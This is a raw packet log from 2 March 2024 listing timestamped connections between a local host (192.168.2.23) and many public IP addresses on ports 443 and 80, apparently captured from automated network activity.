Mar 2, 2024 12:36:51.821198940 CET	50182	443	192.168.2.23	2.250.49.191
Mar 2, 2024 12:36:51.821201086 CET	443	50182	109.107.134.29	192.168.2.23
Mar 2, 2024 12:36:51.821202993 CET	443	50182	42.138.249.41	192.168.2.23
Mar 2, 2024 12:36:51.821202993 CET	443	50182	5.216.248.144	192.168.2.23
Mar 2, 2024 12:36:51.821203947 CET	443	50182	5.60.102.106	192.168.2.23
Mar 2, 2024 12:36:51.821207047 CET	50182	443	192.168.2.23	178.190.154.246
Mar 2, 2024 12:36:51.821207047 CET	50182	443	192.168.2.23	79.152.27.191
Mar 2, 2024 12:36:51.821207047 CET	50182	443	192.168.2.23	94.94.141.163
Mar 2, 2024 12:36:51.821208954 CET	50182	443	192.168.2.23	94.157.251.237
Mar 2, 2024 12:36:51.821209908 CET	443	50182	109.154.166.16	192.168.2.23
Mar 2, 2024 12:36:51.821211100 CET	443	50182	42.246.158.207	192.168.2.23
Mar 2, 2024 12:36:51.821212053 CET	50182	443	192.168.2.23	42.233.195.151
Mar 2, 2024 12:36:51.821212053 CET	443	50182	42.3.147.239	192.168.2.23
Mar 2, 2024 12:36:51.821213007 CET	443	50182	37.246.97.210	192.168.2.23
Mar 2, 2024 12:36:51.821218014 CET	443	50182	178.190.154.246	192.168.2.23
Mar 2, 2024 12:36:51.821218014 CET	50182	443	192.168.2.23	178.17.8.120
Mar 2, 2024 12:36:51.821218014 CET	50182	443	192.168.2.23	37.116.235.128
Mar 2, 2024 12:36:51.821225882 CET	50182	443	192.168.2.23	42.127.51.34
Mar 2, 2024 12:36:51.821228981 CET	443	50182	79.152.27.191	192.168.2.23
Mar 2, 2024 12:36:51.821233988 CET	50182	443	192.168.2.23	5.236.50.154
Mar 2, 2024 12:36:51.821233988 CET	50182	443	192.168.2.23	5.39.23.131
Mar 2, 2024 12:36:51.821238995 CET	50182	443	192.168.2.23	212.137.158.169
Mar 2, 2024 12:36:51.821239948 CET	50182	443	192.168.2.23	109.107.134.29
Mar 2, 2024 12:36:51.821244001 CET	50182	443	192.168.2.23	94.128.247.182
Mar 2, 2024 12:36:51.821245909 CET	50182	443	192.168.2.23	210.206.48.28
Mar 2, 2024 12:36:51.821248055 CET	50182	443	192.168.2.23	42.138.249.41
Mar 2, 2024 12:36:51.821254015 CET	443	50182	210.206.48.28	192.168.2.23
Mar 2, 2024 12:36:51.821258068 CET	50182	443	192.168.2.23	109.126.198.153
Mar 2, 2024 12:36:51.821258068 CET	50182	443	192.168.2.23	212.121.15.15
Mar 2, 2024 12:36:51.821259022 CET	50182	443	192.168.2.23	212.25.253.27
Mar 2, 2024 12:36:51.821261883 CET	50182	443	192.168.2.23	5.40.251.44
Mar 2, 2024 12:36:51.821264029 CET	50182	443	192.168.2.23	210.42.19.14
Mar 2, 2024 12:36:51.821264029 CET	50182	443	192.168.2.23	79.21.36.212
Mar 2, 2024 12:36:51.821264982 CET	443	50182	109.126.198.153	192.168.2.23
Mar 2, 2024 12:36:51.821265936 CET	443	50182	212.25.253.27	192.168.2.23
Mar 2, 2024 12:36:51.821269989 CET	443	50182	5.40.251.44	192.168.2.23
Mar 2, 2024 12:36:51.821270943 CET	443	50182	212.121.15.15	192.168.2.23
Mar 2, 2024 12:36:51.821274996 CET	50182	443	192.168.2.23	42.94.187.77
Mar 2, 2024 12:36:51.821275949 CET	50182	443	192.168.2.23	37.54.163.152
Mar 2, 2024 12:36:51.821279049 CET	50182	443	192.168.2.23	178.242.215.119
Mar 2, 2024 12:36:51.821280003 CET	443	50182	42.94.187.77	192.168.2.23
Mar 2, 2024 12:36:51.821281910 CET	50182	443	192.168.2.23	37.198.169.79
Mar 2, 2024 12:36:51.821281910 CET	50182	443	192.168.2.23	37.200.135.171
Mar 2, 2024 12:36:51.821286917 CET	443	50182	178.242.215.119	192.168.2.23
Mar 2, 2024 12:36:51.821286917 CET	443	50182	37.198.169.79	192.168.2.23
Mar 2, 2024 12:36:51.821289062 CET	443	50182	37.200.135.171	192.168.2.23
Mar 2, 2024 12:36:51.821291924 CET	443	50182	37.54.163.152	192.168.2.23
Mar 2, 2024 12:36:51.821299076 CET	50182	443	192.168.2.23	37.246.97.210
Mar 2, 2024 12:36:51.821301937 CET	50182	443	192.168.2.23	42.246.158.207
Mar 2, 2024 12:36:51.821301937 CET	50182	443	192.168.2.23	94.169.55.58
Mar 2, 2024 12:36:51.821310043 CET	50182	443	192.168.2.23	42.3.147.239
Mar 2, 2024 12:36:51.821310043 CET	50182	443	192.168.2.23	5.216.248.144
Mar 2, 2024 12:36:51.821311951 CET	443	50182	94.169.55.58	192.168.2.23
Mar 2, 2024 12:36:51.821316957 CET	50182	443	192.168.2.23	5.215.214.67
Mar 2, 2024 12:36:51.821316957 CET	50182	443	192.168.2.23	178.142.200.41
Mar 2, 2024 12:36:51.821316957 CET	50182	443	192.168.2.23	109.154.166.16
Mar 2, 2024 12:36:51.821320057 CET	50182	443	192.168.2.23	212.25.253.27
Mar 2, 2024 12:36:51.821325064 CET	50182	443	192.168.2.23	5.60.102.106
Mar 2, 2024 12:36:51.821325064 CET	50182	443	192.168.2.23	42.94.187.77
Mar 2, 2024 12:36:51.821327925 CET	443	50182	5.215.214.67	192.168.2.23
Mar 2, 2024 12:36:51.821327925 CET	50182	443	192.168.2.23	178.190.154.246
Mar 2, 2024 12:36:51.821327925 CET	50182	443	192.168.2.23	79.152.27.191
Mar 2, 2024 12:36:51.821329117 CET	50182	443	192.168.2.23	79.4.14.162
Mar 2, 2024 12:36:51.821331978 CET	50182	443	192.168.2.23	210.206.48.28
Mar 2, 2024 12:36:51.821329117 CET	50182	443	192.168.2.23	5.40.251.44
Mar 2, 2024 12:36:51.821331978 CET	50182	443	192.168.2.23	109.126.198.153
Mar 2, 2024 12:36:51.821329117 CET	50182	443	192.168.2.23	37.54.163.152
Mar 2, 2024 12:36:51.821331978 CET	50182	443	192.168.2.23	212.121.15.15
Mar 2, 2024 12:36:51.821341991 CET	50182	443	192.168.2.23	178.242.215.119
Mar 2, 2024 12:36:51.821342945 CET	443	50182	178.142.200.41	192.168.2.23
Mar 2, 2024 12:36:51.821345091 CET	443	50182	79.4.14.162	192.168.2.23
Mar 2, 2024 12:36:51.821358919 CET	50182	443	192.168.2.23	178.241.239.180
Mar 2, 2024 12:36:51.821358919 CET	50182	443	192.168.2.23	5.215.214.67
Mar 2, 2024 12:36:51.821360111 CET	50182	443	192.168.2.23	178.195.241.195
Mar 2, 2024 12:36:51.821360111 CET	50182	443	192.168.2.23	37.200.135.171
Mar 2, 2024 12:36:51.821360111 CET	50182	443	192.168.2.23	94.169.55.58
Mar 2, 2024 12:36:51.821363926 CET	50182	443	192.168.2.23	37.198.169.79
Mar 2, 2024 12:36:51.821367025 CET	443	50182	178.195.241.195	192.168.2.23
Mar 2, 2024 12:36:51.821367979 CET	443	50182	178.241.239.180	192.168.2.23
Mar 2, 2024 12:36:51.821371078 CET	50182	443	192.168.2.23	5.238.155.1
Mar 2, 2024 12:36:51.821372986 CET	50182	443	192.168.2.23	37.132.103.140
Mar 2, 2024 12:36:51.821374893 CET	50182	443	192.168.2.23	178.142.200.41
Mar 2, 2024 12:36:51.821377039 CET	443	50182	5.238.155.1	192.168.2.23
Mar 2, 2024 12:36:51.821379900 CET	443	50182	37.132.103.140	192.168.2.23
Mar 2, 2024 12:36:51.821383953 CET	50182	443	192.168.2.23	79.4.14.162
Mar 2, 2024 12:36:51.821400881 CET	50182	443	192.168.2.23	178.195.241.195
Mar 2, 2024 12:36:51.821403980 CET	50182	443	192.168.2.23	37.132.103.140
Mar 2, 2024 12:36:51.821405888 CET	50182	443	192.168.2.23	178.241.239.180
Mar 2, 2024 12:36:51.821422100 CET	50182	443	192.168.2.23	5.238.155.1
Mar 2, 2024 12:36:51.821439028 CET	50182	443	192.168.2.23	79.155.137.178
Mar 2, 2024 12:36:51.821439028 CET	50182	443	192.168.2.23	2.210.218.136
Mar 2, 2024 12:36:51.821439028 CET	50182	443	192.168.2.23	37.189.230.209
Mar 2, 2024 12:36:51.821440935 CET	50182	443	192.168.2.23	94.160.227.125
Mar 2, 2024 12:36:51.821446896 CET	443	50182	2.210.218.136	192.168.2.23
Mar 2, 2024 12:36:51.821453094 CET	443	50182	79.155.137.178	192.168.2.23
Mar 2, 2024 12:36:51.821453094 CET	443	50182	94.160.227.125	192.168.2.23
Mar 2, 2024 12:36:51.821456909 CET	443	50182	37.189.230.209	192.168.2.23
Mar 2, 2024 12:36:51.821460962 CET	50182	443	192.168.2.23	5.27.249.148
Mar 2, 2024 12:36:51.821464062 CET	50182	443	192.168.2.23	94.65.244.198
Mar 2, 2024 12:36:51.821465015 CET	50182	443	192.168.2.23	79.94.75.198
Mar 2, 2024 12:36:51.821465015 CET	443	50182	5.27.249.148	192.168.2.23
Mar 2, 2024 12:36:51.821465015 CET	50182	443	192.168.2.23	118.22.253.96
Mar 2, 2024 12:36:51.821468115 CET	50182	443	192.168.2.23	212.181.171.156
Mar 2, 2024 12:36:51.821468115 CET	50182	443	192.168.2.23	210.190.109.54
Mar 2, 2024 12:36:51.821470976 CET	50182	443	192.168.2.23	109.44.209.32
Mar 2, 2024 12:36:51.821471930 CET	443	50182	94.65.244.198	192.168.2.23
Mar 2, 2024 12:36:51.821475029 CET	443	50182	79.94.75.198	192.168.2.23
Mar 2, 2024 12:36:51.821475983 CET	443	50182	212.181.171.156	192.168.2.23
Mar 2, 2024 12:36:51.821477890 CET	443	50182	109.44.209.32	192.168.2.23
Mar 2, 2024 12:36:51.821480036 CET	443	50182	210.190.109.54	192.168.2.23
Mar 2, 2024 12:36:51.821480036 CET	50182	443	192.168.2.23	212.200.181.130
Mar 2, 2024 12:36:51.821480036 CET	50182	443	192.168.2.23	2.210.218.136
Mar 2, 2024 12:36:51.821485996 CET	443	50182	212.200.181.130	192.168.2.23
Mar 2, 2024 12:36:51.821485996 CET	443	50182	118.22.253.96	192.168.2.23
Mar 2, 2024 12:36:51.821491957 CET	50182	443	192.168.2.23	94.160.227.125
Mar 2, 2024 12:36:51.821507931 CET	50182	443	192.168.2.23	210.136.39.35
Mar 2, 2024 12:36:51.821507931 CET	50182	443	192.168.2.23	94.17.82.132
Mar 2, 2024 12:36:51.821512938 CET	50182	443	192.168.2.23	37.189.230.209
Mar 2, 2024 12:36:51.821512938 CET	50182	443	192.168.2.23	5.27.249.148
Mar 2, 2024 12:36:51.821516991 CET	443	50182	210.136.39.35	192.168.2.23
Mar 2, 2024 12:36:51.821517944 CET	50182	443	192.168.2.23	79.155.137.178
Mar 2, 2024 12:36:51.821525097 CET	443	50182	94.17.82.132	192.168.2.23
Mar 2, 2024 12:36:51.821532011 CET	50182	443	192.168.2.23	118.22.253.96
Mar 2, 2024 12:36:51.821532011 CET	50182	443	192.168.2.23	79.94.75.198
Mar 2, 2024 12:36:51.821532965 CET	50182	443	192.168.2.23	210.190.109.54
Mar 2, 2024 12:36:51.821536064 CET	50182	443	192.168.2.23	109.44.209.32
Mar 2, 2024 12:36:51.821536064 CET	50182	443	192.168.2.23	212.200.181.130
Mar 2, 2024 12:36:51.821541071 CET	50182	443	192.168.2.23	212.181.171.156
Mar 2, 2024 12:36:51.821541071 CET	50182	443	192.168.2.23	210.136.39.35
Mar 2, 2024 12:36:51.821552992 CET	50182	443	192.168.2.23	212.191.68.230
Mar 2, 2024 12:36:51.821553946 CET	50182	443	192.168.2.23	94.65.244.198
Mar 2, 2024 12:36:51.821553946 CET	50182	443	192.168.2.23	178.150.91.229
Mar 2, 2024 12:36:51.821558952 CET	50182	443	192.168.2.23	178.194.126.31
Mar 2, 2024 12:36:51.821558952 CET	50182	443	192.168.2.23	79.252.164.147
Mar 2, 2024 12:36:51.821562052 CET	443	50182	178.150.91.229	192.168.2.23
Mar 2, 2024 12:36:51.821564913 CET	443	50182	178.194.126.31	192.168.2.23
Mar 2, 2024 12:36:51.821566105 CET	443	50182	212.191.68.230	192.168.2.23
Mar 2, 2024 12:36:51.821567059 CET	50182	443	192.168.2.23	210.108.212.115
Mar 2, 2024 12:36:51.821573973 CET	443	50182	79.252.164.147	192.168.2.23
Mar 2, 2024 12:36:51.821574926 CET	443	50182	210.108.212.115	192.168.2.23
Mar 2, 2024 12:36:51.821577072 CET	50182	443	192.168.2.23	2.64.27.143
Mar 2, 2024 12:36:51.821578979 CET	50182	443	192.168.2.23	94.17.82.132
Mar 2, 2024 12:36:51.821583986 CET	443	50182	2.64.27.143	192.168.2.23
Mar 2, 2024 12:36:51.821597099 CET	50182	443	192.168.2.23	178.150.91.229
Mar 2, 2024 12:36:51.821611881 CET	50182	443	192.168.2.23	212.191.68.230
Mar 2, 2024 12:36:51.821614027 CET	50182	443	192.168.2.23	178.194.126.31
Mar 2, 2024 12:36:51.821614027 CET	50182	443	192.168.2.23	79.252.164.147
Mar 2, 2024 12:36:51.821624041 CET	50182	443	192.168.2.23	210.108.212.115
Mar 2, 2024 12:36:51.821625948 CET	50182	443	192.168.2.23	2.64.27.143
Mar 2, 2024 12:36:51.821671009 CET	50182	443	192.168.2.23	2.240.118.193
Mar 2, 2024 12:36:51.821676970 CET	50182	443	192.168.2.23	118.78.55.194
Mar 2, 2024 12:36:51.821683884 CET	443	50182	118.78.55.194	192.168.2.23
Mar 2, 2024 12:36:51.821688890 CET	50182	443	192.168.2.23	118.2.206.236
Mar 2, 2024 12:36:51.821693897 CET	443	50182	2.240.118.193	192.168.2.23
Mar 2, 2024 12:36:51.821693897 CET	50182	443	192.168.2.23	42.114.19.26
Mar 2, 2024 12:36:51.821695089 CET	50182	443	192.168.2.23	94.191.40.143
Mar 2, 2024 12:36:51.821696043 CET	443	50182	118.2.206.236	192.168.2.23
Mar 2, 2024 12:36:51.821697950 CET	50182	443	192.168.2.23	212.77.25.105
Mar 2, 2024 12:36:51.821702003 CET	443	50182	42.114.19.26	192.168.2.23
Mar 2, 2024 12:36:51.821702957 CET	50182	443	192.168.2.23	37.194.90.37
Mar 2, 2024 12:36:51.821706057 CET	443	50182	212.77.25.105	192.168.2.23
Mar 2, 2024 12:36:51.821706057 CET	50182	443	192.168.2.23	37.45.16.253
Mar 2, 2024 12:36:51.821707010 CET	443	50182	94.191.40.143	192.168.2.23
Mar 2, 2024 12:36:51.821708918 CET	443	50182	37.194.90.37	192.168.2.23
Mar 2, 2024 12:36:51.821715117 CET	443	50182	37.45.16.253	192.168.2.23
Mar 2, 2024 12:36:51.821722984 CET	50182	443	192.168.2.23	118.78.55.194
Mar 2, 2024 12:36:51.821722984 CET	50182	443	192.168.2.23	118.2.206.236
Mar 2, 2024 12:36:51.821734905 CET	50182	443	192.168.2.23	37.194.90.37
Mar 2, 2024 12:36:51.821737051 CET	50182	443	192.168.2.23	2.240.118.193
Mar 2, 2024 12:36:51.821737051 CET	50182	443	192.168.2.23	94.191.40.143
Mar 2, 2024 12:36:51.821774006 CET	50182	443	192.168.2.23	212.77.25.105
Mar 2, 2024 12:36:51.821774006 CET	50182	443	192.168.2.23	42.114.19.26
Mar 2, 2024 12:36:51.821800947 CET	50182	443	192.168.2.23	37.45.16.253
Mar 2, 2024 12:36:51.821877003 CET	55558	80	192.168.2.23	206.26.107.32
Mar 2, 2024 12:36:51.821892023 CET	55558	80	192.168.2.23	131.131.22.32
Mar 2, 2024 12:36:51.821892023 CET	55558	80	192.168.2.23	221.209.33.5
Mar 2, 2024 12:36:51.821892023 CET	55558	80	192.168.2.23	107.107.59.37
Mar 2, 2024 12:36:51.821892977 CET	55558	80	192.168.2.23	213.125.104.115
Mar 2, 2024 12:36:51.821892977 CET	55558	80	192.168.2.23	213.46.175.19
Mar 2, 2024 12:36:51.821898937 CET	55558	80	192.168.2.23	167.55.235.60
Mar 2, 2024 12:36:51.821902037 CET	55558	80	192.168.2.23	45.108.14.48
Mar 2, 2024 12:36:51.821913004 CET	55558	80	192.168.2.23	87.41.77.66
Mar 2, 2024 12:36:51.821914911 CET	55558	80	192.168.2.23	120.156.155.189
Mar 2, 2024 12:36:51.821914911 CET	55558	80	192.168.2.23	94.88.174.178
Mar 2, 2024 12:36:51.821921110 CET	55558	80	192.168.2.23	163.15.159.59
Mar 2, 2024 12:36:51.821923018 CET	55558	80	192.168.2.23	81.170.207.157
Mar 2, 2024 12:36:51.821923018 CET	55558	80	192.168.2.23	218.112.23.31
Mar 2, 2024 12:36:51.821983099 CET	50182	443	192.168.2.23	118.105.48.115
Mar 2, 2024 12:36:51.821983099 CET	50182	443	192.168.2.23	2.199.200.162
Mar 2, 2024 12:36:51.821985006 CET	50182	443	192.168.2.23	37.148.62.128
Mar 2, 2024 12:36:51.821988106 CET	50182	443	192.168.2.23	2.179.165.145
Mar 2, 2024 12:36:51.821988106 CET	50182	443	192.168.2.23	210.60.72.239
Mar 2, 2024 12:36:51.821990967 CET	443	50182	118.105.48.115	192.168.2.23
Mar 2, 2024 12:36:51.821993113 CET	50182	443	192.168.2.23	94.139.28.161
Mar 2, 2024 12:36:51.821994066 CET	50182	443	192.168.2.23	79.114.52.13
Mar 2, 2024 12:36:51.821996927 CET	443	50182	37.148.62.128	192.168.2.23
Mar 2, 2024 12:36:51.821999073 CET	443	50182	94.139.28.161	192.168.2.23
Mar 2, 2024 12:36:51.822000027 CET	443	50182	79.114.52.13	192.168.2.23
Mar 2, 2024 12:36:51.822004080 CET	443	50182	210.60.72.239	192.168.2.23
Mar 2, 2024 12:36:51.822005033 CET	443	50182	2.179.165.145	192.168.2.23
Mar 2, 2024 12:36:51.822007895 CET	443	50182	2.199.200.162	192.168.2.23
Mar 2, 2024 12:36:51.822012901 CET	50182	443	192.168.2.23	42.12.181.56
Mar 2, 2024 12:36:51.822017908 CET	50182	443	192.168.2.23	42.200.73.164
Mar 2, 2024 12:36:51.822019100 CET	50182	443	192.168.2.23	212.162.168.54
Mar 2, 2024 12:36:51.822021008 CET	443	50182	42.12.181.56	192.168.2.23
Mar 2, 2024 12:36:51.822024107 CET	50182	443	192.168.2.23	118.238.98.232
Mar 2, 2024 12:36:51.822025061 CET	443	50182	42.200.73.164	192.168.2.23
Mar 2, 2024 12:36:51.822024107 CET	50182	443	192.168.2.23	118.105.48.115
Mar 2, 2024 12:36:51.822026014 CET	50182	443	192.168.2.23	212.52.31.164
Mar 2, 2024 12:36:51.822024107 CET	50182	443	192.168.2.23	79.114.52.13
Mar 2, 2024 12:36:51.822026014 CET	50182	443	192.168.2.23	5.14.155.63
Mar 2, 2024 12:36:51.822030067 CET	443	50182	212.162.168.54	192.168.2.23
Mar 2, 2024 12:36:51.822035074 CET	443	50182	118.238.98.232	192.168.2.23
Mar 2, 2024 12:36:51.822037935 CET	443	50182	212.52.31.164	192.168.2.23
Mar 2, 2024 12:36:51.822042942 CET	443	50182	5.14.155.63	192.168.2.23
Mar 2, 2024 12:36:51.822043896 CET	50182	443	192.168.2.23	37.148.62.128
Mar 2, 2024 12:36:51.822050095 CET	50182	443	192.168.2.23	94.139.28.161
Mar 2, 2024 12:36:51.822053909 CET	50182	443	192.168.2.23	2.199.200.162
Mar 2, 2024 12:36:51.822057962 CET	50182	443	192.168.2.23	42.12.181.56
Mar 2, 2024 12:36:51.822057962 CET	50182	443	192.168.2.23	79.189.150.199
Mar 2, 2024 12:36:51.822061062 CET	50182	443	192.168.2.23	2.179.165.145
Mar 2, 2024 12:36:51.822061062 CET	50182	443	192.168.2.23	210.60.72.239
Mar 2, 2024 12:36:51.822062016 CET	50182	443	192.168.2.23	42.200.73.164
Mar 2, 2024 12:36:51.822062016 CET	50182	443	192.168.2.23	118.172.204.102
Mar 2, 2024 12:36:51.822062016 CET	50182	443	192.168.2.23	2.222.147.89
Mar 2, 2024 12:36:51.822067022 CET	50182	443	192.168.2.23	212.162.168.54
Mar 2, 2024 12:36:51.822067976 CET	443	50182	79.189.150.199	192.168.2.23
Mar 2, 2024 12:36:51.822072983 CET	443	50182	118.172.204.102	192.168.2.23
Mar 2, 2024 12:36:51.822076082 CET	50182	443	192.168.2.23	5.14.155.63
Mar 2, 2024 12:36:51.822077990 CET	50182	443	192.168.2.23	118.238.98.232
Mar 2, 2024 12:36:51.822082043 CET	443	50182	2.222.147.89	192.168.2.23
Mar 2, 2024 12:36:51.822083950 CET	50182	443	192.168.2.23	79.219.151.207
Mar 2, 2024 12:36:51.822086096 CET	50182	443	192.168.2.23	212.109.28.182
Mar 2, 2024 12:36:51.822089911 CET	50182	443	192.168.2.23	212.52.31.164
Mar 2, 2024 12:36:51.822091103 CET	443	50182	79.219.151.207	192.168.2.23
Mar 2, 2024 12:36:51.822092056 CET	443	50182	212.109.28.182	192.168.2.23
Mar 2, 2024 12:36:51.822098017 CET	50182	443	192.168.2.23	5.96.164.171
Mar 2, 2024 12:36:51.822103024 CET	50182	443	192.168.2.23	5.185.125.70
Mar 2, 2024 12:36:51.822104931 CET	443	50182	5.96.164.171	192.168.2.23
Mar 2, 2024 12:36:51.822108030 CET	50182	443	192.168.2.23	37.29.250.235
Mar 2, 2024 12:36:51.822113991 CET	443	50182	5.185.125.70	192.168.2.23
Mar 2, 2024 12:36:51.822115898 CET	443	50182	37.29.250.235	192.168.2.23
Mar 2, 2024 12:36:51.822120905 CET	50182	443	192.168.2.23	79.189.150.199
Mar 2, 2024 12:36:51.822120905 CET	50182	443	192.168.2.23	118.172.204.102
Mar 2, 2024 12:36:51.822124958 CET	50182	443	192.168.2.23	79.219.151.207
Mar 2, 2024 12:36:51.822135925 CET	50182	443	192.168.2.23	37.244.94.147
Mar 2, 2024 12:36:51.822139978 CET	50182	443	192.168.2.23	2.222.147.89
Mar 2, 2024 12:36:51.822139978 CET	50182	443	192.168.2.23	212.109.28.182
Mar 2, 2024 12:36:51.822140932 CET	443	50182	37.244.94.147	192.168.2.23
Mar 2, 2024 12:36:51.822141886 CET	50182	443	192.168.2.23	5.96.164.171
Mar 2, 2024 12:36:51.822154999 CET	50182	443	192.168.2.23	5.185.125.70
Mar 2, 2024 12:36:51.822158098 CET	55558	80	192.168.2.23	96.192.114.70
Mar 2, 2024 12:36:51.822163105 CET	55558	80	192.168.2.23	205.25.28.117
Mar 2, 2024 12:36:51.822177887 CET	50182	443	192.168.2.23	37.244.94.147
Mar 2, 2024 12:36:51.822176933 CET	50182	443	192.168.2.23	37.29.250.235
Mar 2, 2024 12:36:51.822176933 CET	55558	80	192.168.2.23	67.203.241.106
Mar 2, 2024 12:36:51.822180033 CET	55558	80	192.168.2.23	128.71.242.85
Mar 2, 2024 12:36:51.822200060 CET	55558	80	192.168.2.23	115.200.177.81
Mar 2, 2024 12:36:51.822200060 CET	55558	80	192.168.2.23	222.43.238.10
Mar 2, 2024 12:36:51.822201967 CET	55558	80	192.168.2.23	106.130.80.218
Mar 2, 2024 12:36:51.822202921 CET	55558	80	192.168.2.23	156.23.204.46
Mar 2, 2024 12:36:51.822205067 CET	55558	80	192.168.2.23	76.98.96.218
Mar 2, 2024 12:36:51.822205067 CET	55558	80	192.168.2.23	64.21.77.11
Mar 2, 2024 12:36:51.822210073 CET	55558	80	192.168.2.23	83.40.67.101
Mar 2, 2024 12:36:51.822227955 CET	55558	80	192.168.2.23	87.39.179.38
Mar 2, 2024 12:36:51.822227955 CET	55558	80	192.168.2.23	51.77.132.98
Mar 2, 2024 12:36:51.822238922 CET	55558	80	192.168.2.23	94.203.124.109
Mar 2, 2024 12:36:51.822244883 CET	55558	80	192.168.2.23	83.244.141.221
Mar 2, 2024 12:36:51.822252035 CET	55558	80	192.168.2.23	66.172.190.108
Mar 2, 2024 12:36:51.822258949 CET	55558	80	192.168.2.23	199.147.161.205
Mar 2, 2024 12:36:51.822258949 CET	55558	80	192.168.2.23	191.134.103.153
Mar 2, 2024 12:36:51.822261095 CET	55558	80	192.168.2.23	37.28.143.14
Mar 2, 2024 12:36:51.822261095 CET	55558	80	192.168.2.23	106.120.130.151
Mar 2, 2024 12:36:51.822262049 CET	55558	80	192.168.2.23	160.151.29.13
Mar 2, 2024 12:36:51.822261095 CET	55558	80	192.168.2.23	68.133.60.137
Mar 2, 2024 12:36:51.822262049 CET	55558	80	192.168.2.23	132.53.224.196
Mar 2, 2024 12:36:51.822261095 CET	55558	80	192.168.2.23	192.45.228.216
Mar 2, 2024 12:36:51.822273016 CET	55558	80	192.168.2.23	177.133.111.69
Mar 2, 2024 12:36:51.822276115 CET	55558	80	192.168.2.23	66.61.24.182
Mar 2, 2024 12:36:51.822288990 CET	50182	443	192.168.2.23	94.105.196.18
Mar 2, 2024 12:36:51.822300911 CET	50182	443	192.168.2.23	178.176.28.87
Mar 2, 2024 12:36:51.822300911 CET	50182	443	192.168.2.23	5.143.202.120
Mar 2, 2024 12:36:51.822308064 CET	443	50182	178.176.28.87	192.168.2.23
Mar 2, 2024 12:36:51.822309017 CET	50182	443	192.168.2.23	118.219.5.207
Mar 2, 2024 12:36:51.822313070 CET	443	50182	94.105.196.18	192.168.2.23
Mar 2, 2024 12:36:51.822313070 CET	50182	443	192.168.2.23	210.39.199.57
Mar 2, 2024 12:36:51.822315931 CET	443	50182	118.219.5.207	192.168.2.23
Mar 2, 2024 12:36:51.822316885 CET	443	50182	5.143.202.120	192.168.2.23
Mar 2, 2024 12:36:51.822319031 CET	443	50182	210.39.199.57	192.168.2.23
Mar 2, 2024 12:36:51.822319031 CET	50182	443	192.168.2.23	109.105.113.204
Mar 2, 2024 12:36:51.822324991 CET	50182	443	192.168.2.23	178.51.11.40
Mar 2, 2024 12:36:51.822328091 CET	443	50182	109.105.113.204	192.168.2.23
Mar 2, 2024 12:36:51.822329998 CET	50182	443	192.168.2.23	79.152.109.62
Mar 2, 2024 12:36:51.822329998 CET	50182	443	192.168.2.23	178.176.28.87
Mar 2, 2024 12:36:51.822333097 CET	443	50182	178.51.11.40	192.168.2.23
Mar 2, 2024 12:36:51.822335005 CET	443	50182	79.152.109.62	192.168.2.23
Mar 2, 2024 12:36:51.822335958 CET	50182	443	192.168.2.23	42.37.29.250
Mar 2, 2024 12:36:51.822340965 CET	443	50182	42.37.29.250	192.168.2.23
Mar 2, 2024 12:36:51.822344065 CET	50182	443	192.168.2.23	42.153.69.211
Mar 2, 2024 12:36:51.822349072 CET	50182	443	192.168.2.23	178.4.53.140
Mar 2, 2024 12:36:51.822349072 CET	50182	443	192.168.2.23	37.141.52.103
Mar 2, 2024 12:36:51.822349072 CET	50182	443	192.168.2.23	2.148.63.216
Mar 2, 2024 12:36:51.822349072 CET	50182	443	192.168.2.23	210.244.145.46
Mar 2, 2024 12:36:51.822350025 CET	443	50182	42.153.69.211	192.168.2.23
Mar 2, 2024 12:36:51.822349072 CET	50182	443	192.168.2.23	2.83.33.248
Mar 2, 2024 12:36:51.822351933 CET	50182	443	192.168.2.23	5.46.180.78
Mar 2, 2024 12:36:51.822349072 CET	50182	443	192.168.2.23	94.105.196.18
Mar 2, 2024 12:36:51.822351933 CET	50182	443	192.168.2.23	37.128.55.73
Mar 2, 2024 12:36:51.822351933 CET	50182	443	192.168.2.23	210.39.199.57
Mar 2, 2024 12:36:51.822355986 CET	50182	443	192.168.2.23	118.219.5.207
Mar 2, 2024 12:36:51.822360039 CET	443	50182	178.4.53.140	192.168.2.23
Mar 2, 2024 12:36:51.822361946 CET	443	50182	210.244.145.46	192.168.2.23
Mar 2, 2024 12:36:51.822365046 CET	443	50182	5.46.180.78	192.168.2.23
Mar 2, 2024 12:36:51.822366953 CET	50182	443	192.168.2.23	109.105.113.204
Mar 2, 2024 12:36:51.822369099 CET	443	50182	37.141.52.103	192.168.2.23
Mar 2, 2024 12:36:51.822371006 CET	443	50182	2.148.63.216	192.168.2.23
Mar 2, 2024 12:36:51.822372913 CET	50182	443	192.168.2.23	5.143.202.120
Mar 2, 2024 12:36:51.822377920 CET	50182	443	192.168.2.23	94.164.217.3
Mar 2, 2024 12:36:51.822372913 CET	50182	443	192.168.2.23	79.152.109.62
Mar 2, 2024 12:36:51.822381020 CET	50182	443	192.168.2.23	178.51.11.40
Mar 2, 2024 12:36:51.822374105 CET	443	50182	37.128.55.73	192.168.2.23
Mar 2, 2024 12:36:51.822384119 CET	443	50182	2.83.33.248	192.168.2.23
Mar 2, 2024 12:36:51.822387934 CET	443	50182	94.164.217.3	192.168.2.23
Mar 2, 2024 12:36:51.822396040 CET	50182	443	192.168.2.23	210.244.145.46
Mar 2, 2024 12:36:51.822398901 CET	50182	443	192.168.2.23	42.37.29.250
Mar 2, 2024 12:36:51.822401047 CET	50182	443	192.168.2.23	79.155.161.151
Mar 2, 2024 12:36:51.822402954 CET	50182	443	192.168.2.23	2.184.42.254
Mar 2, 2024 12:36:51.822402954 CET	50182	443	192.168.2.23	42.153.69.211
Mar 2, 2024 12:36:51.822406054 CET	50182	443	192.168.2.23	178.4.53.140
Mar 2, 2024 12:36:51.822406054 CET	50182	443	192.168.2.23	37.141.52.103
Mar 2, 2024 12:36:51.822406054 CET	50182	443	192.168.2.23	2.148.63.216
Mar 2, 2024 12:36:51.822408915 CET	443	50182	79.155.161.151	192.168.2.23
Mar 2, 2024 12:36:51.822416067 CET	443	50182	2.184.42.254	192.168.2.23
Mar 2, 2024 12:36:51.822418928 CET	50182	443	192.168.2.23	2.83.33.248
Mar 2, 2024 12:36:51.822421074 CET	50182	443	192.168.2.23	5.46.180.78
Mar 2, 2024 12:36:51.822421074 CET	50182	443	192.168.2.23	37.128.55.73
Mar 2, 2024 12:36:51.822436094 CET	50182	443	192.168.2.23	94.164.217.3
Mar 2, 2024 12:36:51.822437048 CET	50182	443	192.168.2.23	79.155.161.151
Mar 2, 2024 12:36:51.822438955 CET	50182	443	192.168.2.23	178.185.93.64
Mar 2, 2024 12:36:51.822442055 CET	50182	443	192.168.2.23	79.22.212.212
